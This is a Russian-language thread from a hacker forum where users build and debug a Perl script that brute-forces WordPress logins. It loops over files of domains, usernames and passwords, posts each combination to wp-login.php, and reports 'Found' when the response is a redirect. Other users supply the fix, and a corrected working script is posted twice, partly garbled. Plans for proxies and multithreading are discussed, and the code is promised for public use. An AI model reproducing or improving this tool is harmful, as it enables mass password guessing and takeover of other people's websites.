Просмотр полной версии : [Perl] Пилю велосипед. До аналога WPScan далеко...
Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот: https://gist.github.com/anonymous/4692681932d816355e73
Затык идет на чтении кода ответа - он всегда приходит 200.
Теперь немного объясню по параметрам:
-d - файл со списком доменов
-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)
-w - список паролей
-n - список имен для перебора
В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях
P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый
Шниперсон
10.07.2015, 13:22
↑ (https://antichat.live/posts/3866762/)
Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот:
https://gist.github.com/anonymous/4692681932d816355e73
Затык идет на чтении кода ответа - он всегда приходит 200.
Теперь немного объясню по параметрам:
-d - файл со списком доменов
-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)
-w - список паролей
-n - список имен для перебора
В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях
P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый
А шо не питон ? Пион по-мойму кошернее
jslby скрипт рабочий, правда недопиленный, только учти тебе не нужно проверять на 200 код ошибки (он будет всегда при неверном логине\пароле). При успешном логине wp-login.php вернет 301 а не 200.
В перле не особо силен, но почему бы так не проверять
if($resp->is_success){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
И с учетом моего комментария
if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
↑ (https://antichat.live/posts/3866928/)
И с учетом моего комментария
if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
Да, спасибо. Логику с редиректом понял. Но код запускается и при первом запросе в любом случае всегда отдает след: 301 Moved Permanently. В следующих возвращает страницу логина с кодом 200, даже когда я точно уверен что логин и пароль верны
↑ (https://antichat.live/posts/3867021/)
А где многопоточность?)
Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?
↑ (https://antichat.live/posts/3866851/)
А шо не питон ? Пион по-мойму кошернее
Только хардкор))
Перл тру язык с очень гибкими возможностями. И еще он мне нравится
↑ (https://antichat.live/posts/3867022/)
Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.
use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
my $cookie_jar = HTTP::Cookies->new(
file => "cookies.dat",
autosave => 1,
);
getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);
open($dfh, '){
chomp $thisDomain;
open($nfh, '){
chomp $thisName;
open($wfh, '){
chomp $thisPass;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar($cookie_jar);
my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
'pwd' => $thisPass,
'wp-sumbit' => 'Log In',
'redirect_to' => "http://$thisDomain/wp-login.php",
'rememberme' => 'forever',
'testcookie' => 1});
if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
undef $resp;
}
}
}
↑ (https://antichat.live/posts/3867083/)
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.
use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
my $cookie_jar = HTTP::Cookies->new(
file => "cookies.dat",
autosave => 1,
);
getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);
open($dfh, '){
chomp $thisDomain;
open($nfh, '){
chomp $thisName;
open($wfh, '){
chomp $thisPass;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar($cookie_jar);
my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
'pwd' => $thisPass,
'wp-sumbit' => 'Log In',
'redirect_to' => "http://$thisDomain/wp-login.php",
'rememberme' => 'forever',
'testcookie' => 1});
if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
undef $resp;
}
}
}
Да, связка логин:пароль отслеживается. Спасибо! Но по странной причине при первой итерации в цикле так же выдает Found.
С потоками уже разобрался, сегодня выложу версию с мультипотоками
cheebeez
26.09.2015, 22:21
[DEL 24]
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot